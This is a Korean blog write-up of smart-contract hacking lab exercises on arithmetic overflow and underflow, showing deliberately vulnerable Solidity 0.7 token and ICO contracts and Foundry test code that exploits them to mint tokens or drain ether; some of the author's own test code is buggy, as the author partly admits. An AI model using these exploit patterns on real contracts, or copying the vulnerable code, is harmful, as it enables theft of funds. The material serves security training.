[SCH] Smart Contract Hacking 9편 - Arithmetic Over/Underflow2~4

0xDave·2023년 3월 31일
0

Ethereum

목록 보기
101/112
post-thumbnail

Arithmetic Over/Underflow 1


아래 컨트랙트 취약점을 찾아서 토큰을 더 많이 가져가면 된다.

// SPDX-License-Identifier: GPL-3.0-or-later
pragma solidity ^0.7.0;

/**
 * @title SimpleToken
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract SimpleToken {
    address public minter;
    mapping(address => uint) public getBalance;
    uint public totalSupply;

    constructor() {
        minter = msg.sender;
    }

    function mint(address _to, uint _amount) external {
        require(msg.sender == minter, "not minter");
        getBalance[_to] += _amount;
    }

    function transfer(address _to, uint _value) public returns (bool) {
        require(getBalance[msg.sender] - _value >= 0);
        getBalance[msg.sender] -= _value;
        getBalance[_to] += _value;
        return true;
    }
}

transfer를 내 주소로 계속 호출하면 될 듯? 테스트코드를 작성해보자.


테스트 코드 작성


//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma abicoder v2;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/arithmetic-overflows-2/SimpleToken.sol";

interface IERC20 {
    function approve(address, uint256) external;
}
/**
@dev run "forge test --match-contract AO2" 
*/


contract TestA02 is Test {
    address deployer;
    address[] public attackers;

    SimpleToken simpleToken;

    function setUp() public {
        deployer = address(1);
        attackers[0] = address(2);
        attackers[1] = address(3);
        attackers[2] = address(4);
        attackers[3] = address(5);


        vm.startPrank(deployer);
        simpleToken = new SimpleToken();
        simpleToken.mint(deployer, 100000 ether);
        simpleToken.mint(attackers[0], 10 ether);
        vm.stopPrank();

        assertEq(address(deployer).balance, 100000 ether);
        assertEq(address(attackers[0]).balance, 10 ether);

    }

    function test_attack() public {
        vm.startPrank(attackers[0]);
        IERC20(simpleToken).approve(attackers[0], type(uint256).max);
        for(uint256 i=1; i<4; i++) {
            simpleToken.transfer(attackers[i], 2.5 ether);
        }
        vm.stopPrank();

        assertEq(address(attackers[0]).balance, 2.5 ether);
        assertEq(address(attackers[1]).balance, 2.5 ether);
        assertEq(address(attackers[2]).balance, 2.5 ether);
        assertEq(address(attackers[3]).balance, 2.5 ether);

        //각 attacker approve
        for(uint256 i=1; i<4; i++) {
            IERC20(simpleToken).approve(attackers[i], type(uint256).max);
        }
        //각자 18번씩 자신에게 토큰 전송
        for(uint256 l=0; l<18; l++){
            for (uint256 i=0; i<4; i++) {
                vm.prank(attackers[i]);
                simpleToken.transfer(attackers[i], address(attackers[i]).balance);
            }       
        }

        //attacker1에게 몰아주기
        for(uint256 i=1; i<4; i++) {
            vm.prank(attackers[i]);
            simpleToken.transfer(attackers[0], address(attackers[i]).balance);
        }

        assertEq(address(attackers[0]).balance > 1000000 ether, true);
        
    }

아래는 모범답안이다.

contract TestAO2 is Test {
    SimpleToken simpleToken;

    address deployer;
    address attacker1;
    address attacker2;

    uint256 attacker1Balance;

    function setUp() public {
        deployer = address(1);
        attacker1 = address(2);
        attacker2 = address(3);

        vm.startPrank(deployer);
        simpleToken = new SimpleToken();
        simpleToken.mint(deployer, 10000 ether);
        simpleToken.mint(attacker1, 10 ether);
        vm.stopPrank();
    }

    function test() public {
        vm.prank(attacker1);
        simpleToken.transfer(attacker2, 12 ether);

        // Attacker should have a lot of tokens (at least more than 1 million)
        assertEq(simpleToken.getBalance(attacker1) > 1000000 ether, true);
    }
}

피드백


나름 테스트코드를 열심히 짰는데 뭔가 에러가 계속 났다.. 나중에 알고 보니 simple token이 erc-20 규격을 만족하지 않는 그냥 mint, transfer만 있는 토큰이었던 것.. 따라서 approve도 할 필요 없고 그냥 계속 transfer만 하면 됐었다. 😾

이번 예제는 조금 김이 빠지는 문제였다.


Arithmetic Over/Underflow 3


아래 컨트랙트에서 취약점을 찾아 이더를 탈취해보자.

// SPDX-License-Identifier: GPL-3.0-or-later 
pragma solidity ^0.7.0;

import "./AIvestToken.sol";

/**
 * @title AIvestICO
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract AIvestICO {

    uint256 constant public SALE_PERIOD = 3 days;

    AIvestToken public token;
    uint256 public startTime;
    address public admin;

    modifier onlyAdmin() {
        require(msg.sender == admin, "not admin");
        _;
    }

    constructor() {
        token = new AIvestToken();
        admin = msg.sender;
        startTime = block.timestamp;
    }

    function buy(uint256 numTokens) public payable {
        require(block.timestamp <= startTime + SALE_PERIOD, "ICO is over");
        
        // 1 ETH = 10 Tokens (1 Token = 0.1 ETH)
        require(msg.value == numTokens * 10 / 100, "wrong ETH amount sent");

        token.mint(msg.sender, numTokens);
    }

    function refund(uint256 numTokens) public {

        require(block.timestamp < startTime + SALE_PERIOD, "ICO is over");

        token.burn(msg.sender, numTokens);

        // 1 ETH = 10 Tokens (1 Token = 0.1 ETH)
        payable(msg.sender).call{value: numTokens * 10 / 100}("");
    }

    function adminWithdraw() external onlyAdmin {
        require(block.timestamp > startTime + SALE_PERIOD, "only when sale is over");
        payable(msg.sender).call{value: address(this).balance}("");
    }

    function adminMint(address _to, uint256 _amount) external onlyAdmin {
        token.mint(_to, _amount);
    }

    function changeAdmin(address _newAdmin) external onlyAdmin {
        require(_newAdmin != address(0));
        admin = _newAdmin;
    }
}
  1. 토큰 9개를 사면 공짜로 살 수 있다.
  2. 여러 번 토큰을 구매한 뒤, 10개 토큰을 환불하면 1이더 탈취 성공

테스트 코드 작성


contract TestA03 is Test {
    address deployer;
    address investor1;
    address investor2;
    address investor3;
    address attacker;

    AIvestICO ico;

    uint256 constant ONE_TOKEN = 1 ether;

    function setUp() public {
        deployer = address(1);
        investor1 = address(2);
        investor2 = address(3);
        investor3 = address(4);
        attacker = address(5);

        vm.deal(deployer, 1 ether);
        vm.deal(investor1, 1 ether);
        vm.deal(investor2, 1 ether);
        vm.deal(investor3, 1 ether);
        vm.deal(attacker, 1 ether);

        vm.startPrank(deployer);
        vm.warp(100);
        ico = new AIvestICO();
        vm.stopPrank();

        vm.prank(investor1);
        ico.buy{value: 1 ether}(10 * ONE_TOKEN);
        vm.prank(investor2);
        ico.buy{value: 1 ether}(10 * ONE_TOKEN);
        vm.prank(investor3);
        ico.buy{value: 1 ether}(10 * ONE_TOKEN);

        assertEq(address(ico).balance, 3 ether);
    }

    function test_attack() public {
        vm.startPrank(attacker);
        vm.warp(110);
        for (uint256 i=0; i<(6 * ONE_TOKEN); i++) {
        ico.buy(5);
        }
        vm.stopPrank();

        assertEq(address(attacker).balance, 1 ether);
        assertEq(IERC20(address(ico.token())).balanceOf(address(attacker)), 30 * ONE_TOKEN);

        vm.startPrank(attacker);
        IERC20(address(ico.token())).approve(attacker, type(uint256).max);
        for (uint256 i=0; i<10; i++) {
            ico.refund(3 * ONE_TOKEN);
        }
        vm.stopPrank();

        assertEq(IERC20(address(ico.token())).balanceOf(address(attacker)), 6 * ONE_TOKEN);
        assertEq(address(attacker).balance, 3 ether);
        assertEq(address(ico).balance, 0);      
    }
}

이런 식으로 작성해서 환불러시 했더니 테스트 코드가 도중에 멈췄다..ㅋㅋㅋ 내가 간과한 게 하나 있었는데 처음에 토큰 9개를 산다는 것은 decimal을 고려하지 않고 떠올린 방법이었다. 즉 토큰 9개는 9 * 10^(-18)개를 의미하는 것이였고, 갯수가 너무 적어서 공짜로 토큰을 마련하기 위해서는 너무 많은 트랜잭션을 일으켜야 하는 문제가 발생한다. 그렇다면 모범답안에선 어떻게 접근했을까?

핵심만 살펴보자.

        vm.startPrank(attacker);

        uint256 val = MAX_UINT / 10 + 1;
        ico.buy(val);

        uint256 refund = 674 ether * 10;
        ico.refund(refund);

        vm.stopPrank();

MAX_UINT / 10 + 1만큼 토큰을 구매하고 많은 양의 이더를 탈취해갔다. 차이점은 다음과 같다. 내가 나눗셈을 이용해 Underflow를 만들려고 한 것에 비해 모범답안에서는 나눗셈을 이용해 Overflow를 만든 것이다. Overflow를 이용하면 공짜로 더 많은 토큰을 민팅할 수 있다.

나누기 10으로 buy 함수 안에 있는 * 10을 상쇄하고 1을 더해서 0으로 만들어 버리면 필요한 이더는 0개가 되기 때문.

    function buy(uint256 numTokens) public payable {
        require(block.timestamp <= startTime + SALE_PERIOD, "ICO is over");
        
        // 1 ETH = 10 Tokens (1 Token = 0.1 ETH)
        require(msg.value == numTokens * 10 / 100, "wrong ETH amount sent");

        token.mint(msg.sender, numTokens);
    }

결론은 Underflow, Overflow 둘 다 고려해야 한다는 점.


Arithmetic Over/Underflow 4


// SPDX-License-Identifier: GPL-3.0-or-later 
pragma solidity ^0.7.0;

library SafeMath {

  function mul(uint256 a, uint256 b) internal pure returns (uint256) {
    if (a == 0) {
      return 0;
    }
    uint256 c = a * b;
    assert(c / a == b);
    return c;
  }

  function div(uint256 a, uint256 b) internal pure returns (uint256) {
    // assert(b > 0); // Solidity automatically throws when dividing by 0
    uint256 c = a / b;
    // assert(a == b * c + a % b); // There is no case in which this doesn't hold
    return c;
  }

  function sub(uint256 a, uint256 b) internal pure returns (uint256) {
    assert(b <= a);
    return a - b;
  }

  function add(uint256 a, uint256 b) internal pure returns (uint256) {
    uint256 c = a + b;
    assert(c >= a);
    return c;
  }
}

/**
 * @title PumpMeToken
 * @author JohnnyTime (https://smartcontractshacking.com)
 */
contract PumpMeToken {

  using SafeMath for uint;
  
  mapping(address => uint) balances;
  uint public totalSupply;
  address public manager;

  constructor(uint _initialSupply) {
    manager = msg.sender;
    balances[msg.sender] = totalSupply = _initialSupply;
  }

  modifier onlyManager {
    require(msg.sender == manager, "only manager function!");
    _;
  }

  function mint(address to, uint amount) external onlyManager {
    balances[to] = balances[to].add(amount);
    totalSupply = totalSupply.add(amount);
  }

  function transfer(address _to, uint _value) external returns (bool) {
    require(balances[msg.sender] >= _value, "Not enough balance");
    balances[msg.sender] = balances[msg.sender].sub(_value);
    balances[_to] = balances[_to].add(_value);
    return true;
  }

  function batchTransfer(address[] memory _receivers, uint _value) external returns (bool) {
    
    uint totalAmount = _receivers.length * _value;
    require(_value > 0, "Value can't be 0" );
    require(balances[msg.sender] >= totalAmount, "Not enough tokens");

    balances[msg.sender].sub(totalAmount);

    for(uint i = 0; i < _receivers.length; i++) {
      balances[_receivers[i]] = balances[_receivers[i]].add(_value);
    }
    
    return true;
  }

  function balanceOf(address _owner) public view returns (uint balance) {
    return balances[_owner];
  }
}

이전 예제들과 다르게 SafeMath 라이브러리가 추가됐다. 그런데 그렇다고 해도 underflow 공격이 불가능할 것 같진 않다. .sub()을 이용하면 가능할 것 같기도 하다.


테스트 코드 작성


//SPDX-License-Identifier: MIT
pragma solidity ^0.7.0;
pragma abicoder v2;

import "forge-std/Test.sol";
import "forge-std/console.sol";
import "../../src/arithmetic-overflows-4/PumpMeToken.sol";

/**
@dev run "forge test --match-contract AO4" 
*/

contract TestA04 is Test {
    PumpMeToken token;
    
    address deployer;
    address attacker;
    address[] public receivers;

    uint256 constant ONE_MIL = 1000000;
    uint256 constant attack_value = type(uint256).max / 2;

    function setUp() public {
        deployer = address(1);
        attacker = address(2);
        receivers.push(deployer);
        receivers.push(attacker);

        vm.startPrank(deployer);
        token = new PumpMeToken(ONE_MIL);
        token.mint(deployer, ONE_MIL);
        vm.stopPrank();
    }

    function test_attack() public {
        assertEq(token.balanceOf(attacker), 0);

        vm.startPrank(attacker);
        token.batchTransfer(receivers, attack_value + 1);
        vm.stopPrank();

        assertEq(token.balanceOf(attacker), attack_value + 1);
    }

}

.sub()을 이용하려고 했으나 attacker가 토큰을 아예 들고 있지 않아서 underflow 공격을 할 수는 없었다. 대신 batchTransfer()를 이용해서 overflow 공격이 가능했다.


피드백


  1. underflow가 안 된다면 overflow로 접근해보자.
  2. solidity 0.8.0 버전 이상으로 컨트랙트를 작성하는 것이 overflow/underflow를 예방할 수 있는 가장 좋은 방법이다.
profile
Just BUIDL :)

0개의 댓글